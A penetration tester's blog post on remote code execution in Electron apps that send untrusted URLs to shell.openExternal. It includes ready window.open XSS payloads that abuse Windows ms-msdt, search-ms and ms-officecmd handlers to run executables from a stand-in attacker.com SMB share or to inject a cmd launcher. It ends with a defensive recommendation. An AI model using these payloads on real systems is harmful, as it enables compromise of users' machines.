April 20, 2022 · PAVEL SHABARKIN, PENETRATION TESTER
Introduction
In my previous
blog post, I described the architecture and design for my
theoretical misconfigured Electron application. I would suggest to read
the introduction part to fully understand the context of the application
described in this blog post.
This is a second blog post related to the importance of user limiting
in an Electron native application. By opening not app specific links in
the native application, It’s fairly common for the Electron framework to
open them with unsafe function that redirects a user to the browser.
This mechanism should be limited on the app business logic level to
decrease the risk of being exploited.
RCE at the second attempt
If the Electron desktop application is deployed with proper
nodeIntegration
, contextIsolation
settings; it
simply means that client-side RCE by targeting preload scripts or
Electron native code from the main process can not be achieved.
Currently there are no direct exploits or bypasses of these controls
meaning if they are set up in a strict fashion then client-side RCE
cannot be achieve.
However, during app navigation review, it is important to determine
what links desktop app will open in the new desktop app windows and what
will open in the browser. Let’s consider the case when all the links
outside the main domain should open in a separate web browser.
Review of the
app navigation [shell.openExternal
]
Each time a user clicks the link or opens a new window, the following
event listeners are invoked:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
The desktop application overrides these listeners to implement the
desktop application’s own business logic. During the creation of new
windows, the application checks whether the navigated link should be
opened in a desktop application’s window or tab, or whether it should be
opened in the web browser. In our example the verification is
implemented with the function openInternally
, if it returns
false
, the application will assume that the link should be
opened in the web browser using the shell.openExternal
function.
The openInternally
function has a predefined list of
domains whose contents should be rendered in the application’s desktop
(In this example only application domain).
Here is a simplified
pseudocode:
Accordingly to Electron JS security best practices, the
openExternal
function should not accept untrusted content
(user’s urls):
Shell’s
openExternal
allows opening a given protocol URI with the desktop native utilities.
For example, on macOS, this function is similar to the open
terminal command utility and opens a specific application based on the
URI and filetype association. When openExternal
is used
with untrusted content, it can be leveraged to execute arbitrary
commands.
The JS window.open
function will trigger the
"new-window"
event listener, and for any provided URL,
which is not aligned with application’s internal allowlist, the
application will open it with electron.shell.openExternal
function in the user’s browser.
window.open("smb://domain.com")
If the application does not limit users navigation through https://
or http:// protocols, it opens up a wide attack surface. An attack could
target native capabilities of the OS platform, where the Electron
desktop app is launched.
URI schema exploits to
leverage RCE
By targeting the native capabilities of the different OS platform,
the more mime-type features the OS could support, the wider attack
surface It would have. At this point, let’s focus on Windows and start
looking for windows URL scheme exploits.
Positive Security completed research in which they explain in detail
how URL schema exploits work and how they can affect OS platforms. Being
inspired by the folks from Positive Security and Benjamin Altpeter , we
crafted several payloads which would force the application to execute
our code
Allow
arbitrary URLs, expect arbitrary code execution
There is several cases of most impactful URL schema exploits, but for
more details I would suggest looking at the original article.
The
dangers of Electron’s shell.openExternal()—many paths to remote code
execution
Case #1
Windows includes the ms-msdt:
protocol, which opens the
Microsoft Support Diagnostic Tool. This tool provides a troubleshooting
wizard to diagnose problems with Wi-Fi, audio, and the like. This
protocol directly passes the string given to the msdt.exe
program. An attacker needs to find an included wizard that allows
execution of arbitrary programs, preferably even remote ones. The
program compatibility wizard fits this description. Furthermore, all
user input can also be pre-filled from the command line, leading to this
URL:
ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\\\\[attacker.com](<http://attacker.com/>)\\smb_share\\malicious_executable.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTO
By
crafting the following XSS payload, we could exploit every user who
visits the functionality that is vulnerable to XSS:
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
Upon opening this URL with shell.openExternal()
, the
troubleshooting wizard will open and show a “diagnostic” progress bar.
Once completed, the user is asked to click a button to check the
compatibility settings. When they do so, our malicious executable is
launched again from the remote server. Since this vector uses the
official Microsoft troubleshooting tool that the user is probably
already familiar with and signals that a legitimate diagnostic is taking
place, it won’t be difficult for an attacker to convince the user to
click this button.
Case #2
Windows also includes the search-ms:
protocol, which
opens the search feature. An attacker can supply both a search request
and a location. This location can also be on a remote Samba share.
Finally, an attacker can even set a search window title. Using this, the
attacker can craft the following URL searching our SMB share to only
display the malicious executable with a title suggesting an important
update:
By
crafting the following XSS payload, we could exploit every user who
visits the functionality that is vulnerable to XSS:
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
Case #3
When reviewing the supported URL schemas in the Windows, I found a
weird naming ms-officecmd
and similar cmd
schemas. I assumed that these features could potentially be abused. And
what a surprise the next day, Positive Security published their research
on how they exploited these URL schemas to leverage RCE attacks:
They discovered a drive-by code execution vulnerability on Windows 10
via IE11/Edge Legacy and MS Teams, triggered by an argument injection in
the Windows 10/11 default handler for ms-officecmd:
URIs.
Windows 10 RCE:
The exploit is in the link | Positive Security
By
crafting the following XSS payload, we could exploit every user who
visits the functionality that is vulnerable to XSS:
ms-officecmd:{"id":3,"LocalProviders.LaunchOfficeAppForResult":{"details":{"appId":5,"name":"Teams","discovered":{"command":"teams.exe","uri":"msteams"}},"filename":"a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\\"C:\\\\Windows\\\\System32\\\\cmd%20\\/c%20ping%2016843009%20&&%20\\""}}
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
Recommendation
I would recommended limiting the URI schema to https://, http://, and
mailto: only. If any other URI schema is required by application
business logic, it should be additionally reviewed.
Summary
All cases demonstrated in this research resulted in remote code
execution attack requiring only one user interaction. All of the actual
exploitation steps were taken from the mentioned research; I just wanted
to share my experience and thoughts, and point out the reason why this
is a “must have” to review the desktop app navigation developed in
Electron JS applications.
Reference
- https://www.electronjs.org/docs/latest/tutorial/security#15-do-not-use-openexternal-with-untrusted-content
- https://positive.security/blog/url-open-rce#windows-10-19042
- https://positive.security/blog/ms-officecmd-rce
- https://benjamin-altpeter.de/shell-openexternal-dangers/